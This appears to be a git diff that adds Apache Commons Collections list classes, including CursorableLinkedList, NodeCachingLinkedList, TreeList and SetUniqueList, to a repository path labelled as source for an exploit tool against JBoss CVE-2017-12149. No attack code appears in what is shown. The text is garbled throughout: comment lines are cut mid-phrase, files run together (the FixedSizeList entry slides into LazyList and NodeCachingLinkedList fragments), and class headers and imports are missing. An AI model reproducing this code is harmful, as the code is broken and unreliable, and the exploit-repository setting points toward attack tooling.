+ * Decorates another List
to provide additional behaviour.
+ * List
implementation with a ListIterator
that
+ * allows concurrent modifications to the underlying list.
+ * AbstractLinkedList
and thus provides the
+ * stack/queue/dequeue operations available in {@link java.util.LinkedList}.
+ * Cursor
instance which extends
+ * ListIterator
. The cursor allows changes to the list concurrent
+ * with changes to the iterator. Note that the {@link #iterator()} method and
+ * sublists do not provide this cursor behaviour.
+ * Cursor
class is provided partly for backwards compatibility
+ * and partly because it allows the cursor to be directly closed. Closing the
+ * cursor is optional because references are held via a WeakReference
.
+ * For most purposes, simply modify the iterator and list at will, and then let
+ * the garbage collector to the rest.
+ * readObject
.
+ */
+ protected void init() {
+ super.init();
+ cursors = new ArrayList();
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Returns an iterator that does not support concurrent modification.
+ * Cursor
is a ListIterator
with an additional
+ * close()
method. Calling this method immediately discards the
+ * references to the cursor. If it is not called, then the garbage collector
+ * will still remove the reference as it is held via a WeakReference
.
+ * Cursor
if the close
method is required.
+ *
+ * @return a new cursor iterator
+ */
+ public CursorableLinkedList.Cursor cursor() {
+ return cursor(0);
+ }
+
+ /**
+ * Returns a {@link Cursor} for iterating through the elements of this list
+ * starting from a specified index.
+ * Cursor
is a ListIterator
with an additional
+ * close()
method. Calling this method immediately discards the
+ * references to the cursor. If it is not called, then the garbage collector
+ * will still remove the reference as it is held via a WeakReference
.
+ * Cursor
if the close
method is required.
+ *
+ * @param fromIndex the index to start from
+ * @return a new cursor iterator
+ * @throws IndexOutOfBoundsException if the index is out of range
+ * (index < 0 || index > size()).
+ */
+ public CursorableLinkedList.Cursor cursor(int fromIndex) {
+ Cursor cursor = new Cursor(this, fromIndex);
+ registerCursor(cursor);
+ return cursor;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Updates the node with a new value.
+ * This implementation sets the value on the node.
+ * Subclasses can override this to record the change.
+ *
+ * @param node node to update
+ * @param value new value of the node
+ */
+ protected void updateNode(Node node, Object value) {
+ super.updateNode(node, value);
+ broadcastNodeChanged(node);
+ }
+
+ /**
+ * Inserts a new node into the list.
+ *
+ * @param nodeToInsert new node to insert
+ * @param insertBeforeNode node to insert before
+ * @throws NullPointerException if either node is null
+ */
+ protected void addNode(Node nodeToInsert, Node insertBeforeNode) {
+ super.addNode(nodeToInsert, insertBeforeNode);
+ broadcastNodeInserted(nodeToInsert);
+ }
+
+ /**
+ * Removes the specified node from the list.
+ *
+ * @param node the node to remove
+ * @throws NullPointerException if node
is null
+ */
+ protected void removeNode(Node node) {
+ super.removeNode(node);
+ broadcastNodeRemoved(node);
+ }
+
+ /**
+ * Removes all nodes by iteration.
+ */
+ protected void removeAllNodes() {
+ if (size() > 0) {
+ // superclass implementation would break all the iterators
+ Iterator it = iterator();
+ while (it.hasNext()) {
+ it.next();
+ it.remove();
+ }
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Registers a cursor to be notified of changes to this list.
+ *
+ * @param cursor the cursor to register
+ */
+ protected void registerCursor(Cursor cursor) {
+ // We take this opportunity to clean the cursors list
+ // of WeakReference objects to garbage-collected cursors.
+ for (Iterator it = cursors.iterator(); it.hasNext();) {
+ WeakReference ref = (WeakReference) it.next();
+ if (ref.get() == null) {
+ it.remove();
+ }
+ }
+ cursors.add(new WeakReference(cursor));
+ }
+
+ /**
+ * Deregisters a cursor from the list to be notified of changes.
+ *
+ * @param cursor the cursor to deregister
+ */
+ protected void unregisterCursor(Cursor cursor) {
+ for (Iterator it = cursors.iterator(); it.hasNext();) {
+ WeakReference ref = (WeakReference) it.next();
+ Cursor cur = (Cursor) ref.get();
+ if (cur == null) {
+ // some other unrelated cursor object has been
+ // garbage-collected; let's take the opportunity to
+ // clean up the cursors list anyway..
+ it.remove();
+
+ } else if (cur == cursor) {
+ ref.clear();
+ it.remove();
+ break;
+ }
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Informs all of my registered cursors that the specified
+ * element was changed.
+ *
+ * @param node the node that was changed
+ */
+ protected void broadcastNodeChanged(Node node) {
+ Iterator it = cursors.iterator();
+ while (it.hasNext()) {
+ WeakReference ref = (WeakReference) it.next();
+ Cursor cursor = (Cursor) ref.get();
+ if (cursor == null) {
+ it.remove(); // clean up list
+ } else {
+ cursor.nodeChanged(node);
+ }
+ }
+ }
+
+ /**
+ * Informs all of my registered cursors that the specified
+ * element was just removed from my list.
+ *
+ * @param node the node that was changed
+ */
+ protected void broadcastNodeRemoved(Node node) {
+ Iterator it = cursors.iterator();
+ while (it.hasNext()) {
+ WeakReference ref = (WeakReference) it.next();
+ Cursor cursor = (Cursor) ref.get();
+ if (cursor == null) {
+ it.remove(); // clean up list
+ } else {
+ cursor.nodeRemoved(node);
+ }
+ }
+ }
+
+ /**
+ * Informs all of my registered cursors that the specified
+ * element was just added to my list.
+ *
+ * @param node the node that was changed
+ */
+ protected void broadcastNodeInserted(Node node) {
+ Iterator it = cursors.iterator();
+ while (it.hasNext()) {
+ WeakReference ref = (WeakReference) it.next();
+ Cursor cursor = (Cursor) ref.get();
+ if (cursor == null) {
+ it.remove(); // clean up list
+ } else {
+ cursor.nodeInserted(node);
+ }
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Serializes the data held in this object to the stream specified.
+ */
+ private void writeObject(ObjectOutputStream out) throws IOException {
+ out.defaultWriteObject();
+ doWriteObject(out);
+ }
+
+ /**
+ * Deserializes the data held in this object to the stream specified.
+ */
+ private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
+ in.defaultReadObject();
+ doReadObject(in);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * An extended ListIterator
that allows concurrent changes to
+ * the underlying list.
+ */
+ public static class Cursor extends AbstractLinkedList.LinkedListIterator {
+ /** Is the cursor valid (not closed) */
+ boolean valid = true;
+ /** Is the next index valid */
+ boolean nextIndexValid = true;
+
+ /**
+ * Constructs a new cursor.
+ *
+ * @param index the index to start from
+ */
+ protected Cursor(CursorableLinkedList parent, int index) {
+ super(parent, index);
+ valid = true;
+ }
+
+ /**
+ * Adds an object to the list.
+ * The object added here will be the new 'previous' in the iterator.
+ *
+ * @param obj the object to add
+ */
+ public void add(Object obj) {
+ super.add(obj);
+ // add on iterator does not return the added element
+ next = next.next;
+ }
+
+ /**
+ * Gets the index of the next element to be returned.
+ *
+ * @return the next index
+ */
+ public int nextIndex() {
+ if (nextIndexValid == false) {
+ if (next == parent.header) {
+ nextIndex = parent.size();
+ } else {
+ int pos = 0;
+ Node temp = parent.header.next;
+ while (temp != next) {
+ pos++;
+ temp = temp.next;
+ }
+ nextIndex = pos;
+ }
+ nextIndexValid = true;
+ }
+ return nextIndex;
+ }
+
+ /**
+ * Handle event from the list when a node has changed.
+ *
+ * @param node the node that changed
+ */
+ protected void nodeChanged(Node node) {
+ // do nothing
+ }
+
+ /**
+ * Handle event from the list when a node has been removed.
+ *
+ * @param node the node that was removed
+ */
+ protected void nodeRemoved(Node node) {
+ if (node == next) {
+ next = node.next;
+ } else if (node == current) {
+ current = null;
+ nextIndex--;
+ } else {
+ nextIndexValid = false;
+ }
+ }
+
+ /**
+ * Handle event from the list when a node has been added.
+ *
+ * @param node the node that was added
+ */
+ protected void nodeInserted(Node node) {
+ if (node.previous == current) {
+ next = node;
+ } else if (next.previous == node) {
+ next = node;
+ } else {
+ nextIndexValid = false;
+ }
+ }
+
+ /**
+ * Override superclass modCount check, and replace it with our valid flag.
+ */
+ protected void checkModCount() {
+ if (!valid) {
+ throw new ConcurrentModificationException("Cursor closed");
+ }
+ }
+
+ /**
+ * Mark this cursor as no longer being needed. Any resources
+ * associated with this cursor are immediately released.
+ * In previous versions of this class, it was mandatory to close
+ * all cursor objects to avoid memory leaks. It is no longer
+ * necessary to call this close method; an instance of this class
+ * can now be treated exactly like a normal iterator.
+ */
+ public void close() {
+ if (valid) {
+ ((CursorableLinkedList) parent).unregisterCursor(this);
+ valid = false;
+ }
+ }
+ }
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/FixedSizeList.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/FixedSizeList.java"
new file mode 100644
index 0000000..e37b868
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/FixedSizeList.java"
@@ -0,0 +1,162 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.list;
+
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.List;
+import java.util.ListIterator;
+
+import org.apache.commons.collections.BoundedCollection;
+import org.apache.commons.collections.iterators.AbstractListIteratorDecorator;
+import org.apache.commons.collections.iterators.UnmodifiableIterator;
+
+/**
+ * Decorates another List
to fix the size preventing add/remove.
+ * List
to create objects in the list on demand.
+ *
+ * Factory factory = new Factory() {
+ * public Object create() {
+ * return new Date();
+ * }
+ * }
+ * List lazy = LazyList.decorate(new ArrayList(), factory);
+ * Object obj = lazy.get(3);
+ *
+ *
+ * After the above code is executed, obj
will contain
+ * a new Date
instance. Furthermore, that Date
+ * instance is the fourth element in the list. The first, second,
+ * and third element are all set to null
.
+ * List
implementation that stores a cache of internal Node objects
+ * in an effort to reduce wasteful object creation.
+ * null
if no nodes are cached.
+ * Cached nodes are stored in a singly-linked list with
+ * next
pointing to the next element.
+ */
+ protected transient Node firstCachedNode;
+
+ /**
+ * The size of the cache.
+ */
+ protected transient int cacheSize;
+
+ /**
+ * The maximum size of the cache.
+ */
+ protected int maximumCacheSize;
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that creates.
+ */
+ public NodeCachingLinkedList() {
+ this(DEFAULT_MAXIMUM_CACHE_SIZE);
+ }
+
+ /**
+ * Constructor that copies the specified collection
+ *
+ * @param coll the collection to copy
+ */
+ public NodeCachingLinkedList(Collection coll) {
+ super(coll);
+ this.maximumCacheSize = DEFAULT_MAXIMUM_CACHE_SIZE;
+ }
+
+ /**
+ * Constructor that species the maximum cache size.
+ *
+ * @param maximumCacheSize the maximum cache size
+ */
+ public NodeCachingLinkedList(int maximumCacheSize) {
+ super();
+ this.maximumCacheSize = maximumCacheSize;
+ init(); // must call init() as use super();
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets the maximum size of the cache.
+ *
+ * @return the maximum cache size
+ */
+ protected int getMaximumCacheSize() {
+ return maximumCacheSize;
+ }
+
+ /**
+ * Sets the maximum size of the cache.
+ *
+ * @param maximumCacheSize the new maximum cache size
+ */
+ protected void setMaximumCacheSize(int maximumCacheSize) {
+ this.maximumCacheSize = maximumCacheSize;
+ shrinkCacheToMaximumSize();
+ }
+
+ /**
+ * Reduce the size of the cache to the maximum, if necessary.
+ */
+ protected void shrinkCacheToMaximumSize() {
+ // Rich Dougherty: This could be more efficient.
+ while (cacheSize > maximumCacheSize) {
+ getNodeFromCache();
+ }
+ }
+
+ /**
+ * Gets a node from the cache. If a node is returned, then the value of
+ * {@link #cacheSize} is decreased accordingly. The node that is returned
+ * will have null
values for next, previous and element.
+ *
+ * @return a node, or null
if there are no nodes in the cache.
+ */
+ protected Node getNodeFromCache() {
+ if (cacheSize == 0) {
+ return null;
+ }
+ Node cachedNode = firstCachedNode;
+ firstCachedNode = cachedNode.next;
+ cachedNode.next = null; // This should be changed anyway, but defensively
+ // set it to null.
+ cacheSize--;
+ return cachedNode;
+ }
+
+ /**
+ * Checks whether the cache is full.
+ *
+ * @return true if the cache is full
+ */
+ protected boolean isCacheFull() {
+ return cacheSize >= maximumCacheSize;
+ }
+
+ /**
+ * Adds a node to the cache, if the cache isn't full.
+ * The node's contents are cleared to so they can be garbage collected.
+ *
+ * @param node the node to add to the cache
+ */
+ protected void addNodeToCache(Node node) {
+ if (isCacheFull()) {
+ // don't cache the node.
+ return;
+ }
+ // clear the node's contents and add it to the cache.
+ Node nextCachedNode = firstCachedNode;
+ node.previous = null;
+ node.next = nextCachedNode;
+ node.setValue(null);
+ firstCachedNode = node;
+ cacheSize++;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Creates a new node, either by reusing one from the cache or creating
+ * a new one.
+ *
+ * @param value value of the new node
+ * @return the newly created node
+ */
+ protected Node createNode(Object value) {
+ Node cachedNode = getNodeFromCache();
+ if (cachedNode == null) {
+ return super.createNode(value);
+ } else {
+ cachedNode.setValue(value);
+ return cachedNode;
+ }
+ }
+
+ /**
+ * Removes the node from the list, storing it in the cache for reuse
+ * if the cache is not yet full.
+ *
+ * @param node the node to remove
+ */
+ protected void removeNode(Node node) {
+ super.removeNode(node);
+ addNodeToCache(node);
+ }
+
+ /**
+ * Removes all the nodes from the list, storing as many as required in the
+ * cache for reuse.
+ *
+ */
+ protected void removeAllNodes() {
+ // Add the removed nodes to the cache, then remove the rest.
+ // We can add them to the cache before removing them, since
+ // {@link AbstractLinkedList.removeAllNodes()} removes the
+ // nodes by removing references directly from {@link #header}.
+ int numberOfNodesToCache = Math.min(size, maximumCacheSize - cacheSize);
+ Node node = header.next;
+ for (int currentIndex = 0; currentIndex < numberOfNodesToCache; currentIndex++) {
+ Node oldNode = node;
+ node = node.next;
+ addNodeToCache(oldNode);
+ }
+ super.removeAllNodes();
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Serializes the data held in this object to the stream specified.
+ */
+ private void writeObject(ObjectOutputStream out) throws IOException {
+ out.defaultWriteObject();
+ doWriteObject(out);
+ }
+
+ /**
+ * Deserializes the data held in this object to the stream specified.
+ */
+ private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
+ in.defaultReadObject();
+ doReadObject(in);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/PredicatedList.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/PredicatedList.java"
new file mode 100644
index 0000000..f49e7d8
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/PredicatedList.java"
@@ -0,0 +1,159 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.list;
+
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.List;
+import java.util.ListIterator;
+
+import org.apache.commons.collections.Predicate;
+import org.apache.commons.collections.collection.PredicatedCollection;
+import org.apache.commons.collections.iterators.AbstractListIteratorDecorator;
+
+/**
+ * Decorates another List
to validate that all additions
+ * match a specified predicate.
+ * List list = PredicatedList.decorate(new ArrayList(), NotNullPredicate.INSTANCE);
+ * List
to ensure that no duplicates are present
+ * much like a Set
.
+ * List
interface makes certain assumptions/requirements.
+ * This implementation breaks these in certain ways, but this is merely the
+ * result of rejecting duplicates.
+ * Each violation is explained in the method, but it should not affect you.
+ * HashSet
is used for the set behaviour.
+ *
+ * @param list the list to decorate, must not be null
+ * @throws IllegalArgumentException if list is null
+ */
+ public static SetUniqueList decorate(List list) {
+ if (list == null) {
+ throw new IllegalArgumentException("List must not be null");
+ }
+ if (list.isEmpty()) {
+ return new SetUniqueList(list, new HashSet());
+ } else {
+ List temp = new ArrayList(list);
+ list.clear();
+ SetUniqueList sl = new SetUniqueList(list, new HashSet());
+ sl.addAll(temp);
+ return sl;
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies) the List and specifies the set to use.
+ * List
interface requires that this method returns
+ * true
always. However this class may return false
+ * because of the Set
behaviour.
+ *
+ * @param object the object to add
+ * @return true if object was added
+ */
+ public boolean add(Object object) {
+ // gets initial size
+ final int sizeBefore = size();
+
+ // adds element if unique
+ add(size(), object);
+
+ // compares sizes to detect if collection changed
+ return (sizeBefore != size());
+ }
+
+ /**
+ * Adds an element to a specific index in the list if it is not already present.
+ * List
interface makes the assumption that the element is
+ * always inserted. This may not happen with this implementation.
+ *
+ * @param index the index to insert at
+ * @param object the object to add
+ */
+ public void add(int index, Object object) {
+ // adds element if it is not contained already
+ if (set.contains(object) == false) {
+ super.add(index, object);
+ set.add(object);
+ }
+ }
+
+ /**
+ * Adds an element to the end of the list if it is not already present.
+ * List
interface makes the assumption that the element is
+ * always inserted. This may not happen with this implementation.
+ *
+ * @param coll the collection to add
+ */
+ public boolean addAll(Collection coll) {
+ return addAll(size(), coll);
+ }
+
+ /**
+ * Adds a collection of objects to the end of the list avoiding duplicates.
+ * List
interface makes the assumption that the elements
+ * are always inserted. This may not happen with this implementation.
+ *
+ * @param index the index to insert at
+ * @param coll the collection to add in iterator order
+ * @return true if this collection changed
+ */
+ public boolean addAll(int index, Collection coll) {
+ // gets initial size
+ final int sizeBefore = size();
+
+ // adds all elements
+ for (final Iterator it = coll.iterator(); it.hasNext();) {
+ add(it.next());
+ }
+
+ // compares sizes to detect if collection changed
+ return sizeBefore != size();
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Sets the value at the specified index avoiding duplicates.
+ * List
to synchronize its behaviour
+ * for a multi-threaded environment.
+ *
+ * synchronized (coll) {
+ * ListIterator it = coll.listIterator();
+ * // do stuff with iterator
+ * }
+ *
+ * @return an iterator that must be manually synchronized on the collection
+ */
+ public ListIterator listIterator() {
+ return getList().listIterator();
+ }
+
+ /**
+ * Iterators must be manually synchronized.
+ *
+ * synchronized (coll) {
+ * ListIterator it = coll.listIterator(3);
+ * // do stuff with iterator
+ * }
+ *
+ * @return an iterator that must be manually synchronized on the collection
+ */
+ public ListIterator listIterator(int index) {
+ return getList().listIterator(index);
+ }
+
+ public Object remove(int index) {
+ synchronized (lock) {
+ return getList().remove(index);
+ }
+ }
+
+ public Object set(int index, Object object) {
+ synchronized (lock) {
+ return getList().set(index, object);
+ }
+ }
+
+ public List subList(int fromIndex, int toIndex) {
+ synchronized (lock) {
+ List list = getList().subList(fromIndex, toIndex);
+ // the lock is passed into the constructor here to ensure that the sublist is
+ // synchronized on the same lock as the parent list
+ return new SynchronizedList(list, lock);
+ }
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/TransformedList.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/TransformedList.java"
new file mode 100644
index 0000000..95c694f
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/TransformedList.java"
@@ -0,0 +1,150 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.list;
+
+import java.util.Collection;
+import java.util.List;
+import java.util.ListIterator;
+
+import org.apache.commons.collections.Transformer;
+import org.apache.commons.collections.collection.TransformedCollection;
+import org.apache.commons.collections.iterators.AbstractListIteratorDecorator;
+
+/**
+ * Decorates another
List
to transform objects that are added.
+ * List
implementation that is optimised for fast insertions and
+ * removals at any index in the list.
+ * ArrayList
and a LinkedList
where elements
+ * are inserted and removed repeatedly from anywhere in the list.
+ *
+ * get add insert iterate remove
+ * TreeList 3 5 1 2 1
+ * ArrayList 1 1 40 1 40
+ * LinkedList 5800 1 350 2 325
+ *
+ * ArrayList
is a good general purpose list implementation.
+ * It is faster than TreeList
for most operations except inserting
+ * and removing in the middle of the list. ArrayList
also uses less
+ * memory as TreeList
uses one object per entry.
+ * LinkedList
is rarely a good choice of implementation.
+ * TreeList
is almost always a good replacement for it, although it
+ * does use sligtly more memory.
+ *
+ * @since Commons Collections 3.1
+ * @version $Revision: 1.3 $ $Date: 2004/05/26 21:56:05 $
+ *
+ * @author Joerg Schmuecker
+ * @author Stephen Colebourne
+ */
+public class TreeList extends AbstractList {
+// add; toArray; iterator; insert; get; indexOf; remove
+// TreeList = 1260;7360;3080; 160; 170;3400; 170;
+// ArrayList = 220;1480;1760; 6870; 50;1540; 7200;
+// LinkedList = 270;7360;3350;55860;290720;2910;55200;
+
+ /** The root node in the AVL tree */
+ private AVLNode root;
+
+ /** The current size of the list */
+ private int size;
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructs a new empty list.
+ */
+ public TreeList() {
+ super();
+ }
+
+ /**
+ * Constructs a new empty list that copies the specified list.
+ *
+ * @param coll the collection to copy
+ * @throws NullPointerException if the collection is null
+ */
+ public TreeList(Collection coll) {
+ super();
+ addAll(coll);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets the element at the specified index.
+ *
+ * @param index the index to retrieve
+ * @return the element at the specified index
+ */
+ public Object get(int index) {
+ checkInterval(index, 0, size() - 1);
+ return root.get(index).getValue();
+ }
+
+ /**
+ * Gets the current size of the list.
+ *
+ * @return the current size
+ */
+ public int size() {
+ return size;
+ }
+
+ /**
+ * Gets an iterator over the list.
+ *
+ * @return an iterator over the list
+ */
+ public Iterator iterator() {
+ // override to go 75% faster
+ return listIterator(0);
+ }
+
+ /**
+ * Gets a ListIterator over the list.
+ *
+ * @return the new iterator
+ */
+ public ListIterator listIterator() {
+ // override to go 75% faster
+ return listIterator(0);
+ }
+
+ /**
+ * Gets a ListIterator over the list.
+ *
+ * @param fromIndex the index to start from
+ * @return the new iterator
+ */
+ public ListIterator listIterator(int fromIndex) {
+ // override to go 75% faster
+ // cannot use EmptyIterator as iterator.add() must work
+ checkInterval(fromIndex, 0, size());
+ return new TreeListIterator(this, fromIndex);
+ }
+
+ /**
+ * Searches for the index of an object in the list.
+ *
+ * @return the index of the object, -1 if not found
+ */
+ public int indexOf(Object object) {
+ // override to go 75% faster
+ if (root == null) {
+ return -1;
+ }
+ return root.indexOf(object, root.relativePosition);
+ }
+
+ /**
+ * Searches for the presence of an object in the list.
+ *
+ * @return true if the object is found
+ */
+ public boolean contains(Object object) {
+ return (indexOf(object) >= 0);
+ }
+
+ /**
+ * Converts the list into an array.
+ *
+ * @return the list as an array
+ */
+ public Object[] toArray() {
+ // override to go 20% faster
+ Object[] array = new Object[size()];
+ if (root != null) {
+ root.toArray(array, root.relativePosition);
+ }
+ return array;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Adds a new element to the list.
+ *
+ * @param index the index to add before
+ * @param obj the element to add
+ */
+ public void add(int index, Object obj) {
+ modCount++;
+ checkInterval(index, 0, size());
+ if (root == null) {
+ root = new AVLNode(index, obj, null, null);
+ } else {
+ root = root.insert(index, obj);
+ }
+ size++;
+ }
+
+ /**
+ * Sets the element at the specified index.
+ *
+ * @param index the index to set
+ * @param obj the object to store at the specified index
+ * @return the previous object at that index
+ * @throws IndexOutOfBoundsException if the index is invalid
+ */
+ public Object set(int index, Object obj) {
+ checkInterval(index, 0, size() - 1);
+ AVLNode node = root.get(index);
+ Object result = node.value;
+ node.setValue(obj);
+ return result;
+ }
+
+ /**
+ * Removes the element at the specified index.
+ *
+ * @param index the index to remove
+ * @return the previous object at that index
+ */
+ public Object remove(int index) {
+ modCount++;
+ checkInterval(index, 0, size() - 1);
+ Object result = get(index);
+ root = root.remove(index);
+ size--;
+ return result;
+ }
+
+ /**
+ * Clears the list, removing all entries.
+ */
+ public void clear() {
+ modCount++;
+ root = null;
+ size = 0;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Checks whether the index is valid.
+ *
+ * @param index the index to check
+ * @param startIndex the first allowed index
+ * @param endIndex the last allowed index
+ * @throws IndexOutOfBoundsException if the index is invalid
+ */
+ private void checkInterval(int index, int startIndex, int endIndex) {
+ if (index < startIndex || index > endIndex) {
+ throw new IndexOutOfBoundsException("Invalid index:" + index + ", size=" + size());
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Implements an AVLNode which keeps the offset updated.
+ * null
if {@link #next()} or {@link
+ * #previous()} haven't been called, or if the node has been removed
+ * with {@link #remove()} or a new node added with {@link #add(Object)}.
+ * Should be accessed through {@link #getLastNodeReturned()} to enforce
+ * this behaviour.
+ */
+ protected AVLNode current;
+ /**
+ * The index of {@link #current}.
+ */
+ protected int currentIndex;
+ /**
+ * The modification count that the list is expected to have. If the list
+ * doesn't have this count, then a
+ * {@link java.util.ConcurrentModificationException} may be thrown by
+ * the operations.
+ */
+ protected int expectedModCount;
+
+ /**
+ * Create a ListIterator for a list.
+ *
+ * @param parent the parent list
+ * @param fromIndex the index to start at
+ */
+ protected TreeListIterator(TreeList parent, int fromIndex) throws IndexOutOfBoundsException {
+ super();
+ this.parent = parent;
+ this.expectedModCount = parent.modCount;
+ this.next = (parent.root == null ? null : parent.root.get(fromIndex));
+ this.nextIndex = fromIndex;
+ }
+
+ /**
+ * Checks the modification count of the list is the value that this
+ * object expects.
+ *
+ * @throws ConcurrentModificationException If the list's modification
+ * count isn't the value that was expected.
+ */
+ protected void checkModCount() {
+ if (parent.modCount != expectedModCount) {
+ throw new ConcurrentModificationException();
+ }
+ }
+
+ public boolean hasNext() {
+ return (nextIndex < parent.size());
+ }
+
+ public Object next() {
+ checkModCount();
+ if (!hasNext()) {
+ throw new NoSuchElementException("No element at index " + nextIndex + ".");
+ }
+ if (next == null) {
+ next = parent.root.get(nextIndex);
+ }
+ Object value = next.getValue();
+ current = next;
+ currentIndex = nextIndex++;
+ next = next.next();
+ return value;
+ }
+
+ public boolean hasPrevious() {
+ return (nextIndex > 0);
+ }
+
+ public Object previous() {
+ checkModCount();
+ if (!hasPrevious()) {
+ throw new NoSuchElementException("Already at start of list.");
+ }
+ if (next == null) {
+ next = parent.root.get(nextIndex - 1);
+ } else {
+ next = next.previous();
+ }
+ Object value = next.getValue();
+ current = next;
+ currentIndex = --nextIndex;
+ return value;
+ }
+
+ public int nextIndex() {
+ return nextIndex;
+ }
+
+ public int previousIndex() {
+ return nextIndex() - 1;
+ }
+
+ public void remove() {
+ checkModCount();
+ if (current == null) {
+ throw new IllegalStateException();
+ }
+ parent.remove(currentIndex);
+ current = null;
+ currentIndex = -1;
+ nextIndex--;
+ expectedModCount++;
+ }
+
+ public void set(Object obj) {
+ checkModCount();
+ if (current == null) {
+ throw new IllegalStateException();
+ }
+ current.setValue(obj);
+ }
+
+ public void add(Object obj) {
+ checkModCount();
+ parent.add(nextIndex, obj);
+ current = null;
+ currentIndex = -1;
+ nextIndex++;
+ expectedModCount++;
+ }
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/TypedList.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/TypedList.java"
new file mode 100644
index 0000000..b329155
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/TypedList.java"
@@ -0,0 +1,59 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.list;
+
+import java.util.List;
+
+import org.apache.commons.collections.functors.InstanceofPredicate;
+
+/**
+ * Decorates another List
to validate that elements
+ * added are of a specific type.
+ * Class
. If an object cannot be added to the
+ * collection, an IllegalArgumentException is thrown.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.4 $ $Date: 2004/05/07 23:28:38 $
+ *
+ * @author Stephen Colebourne
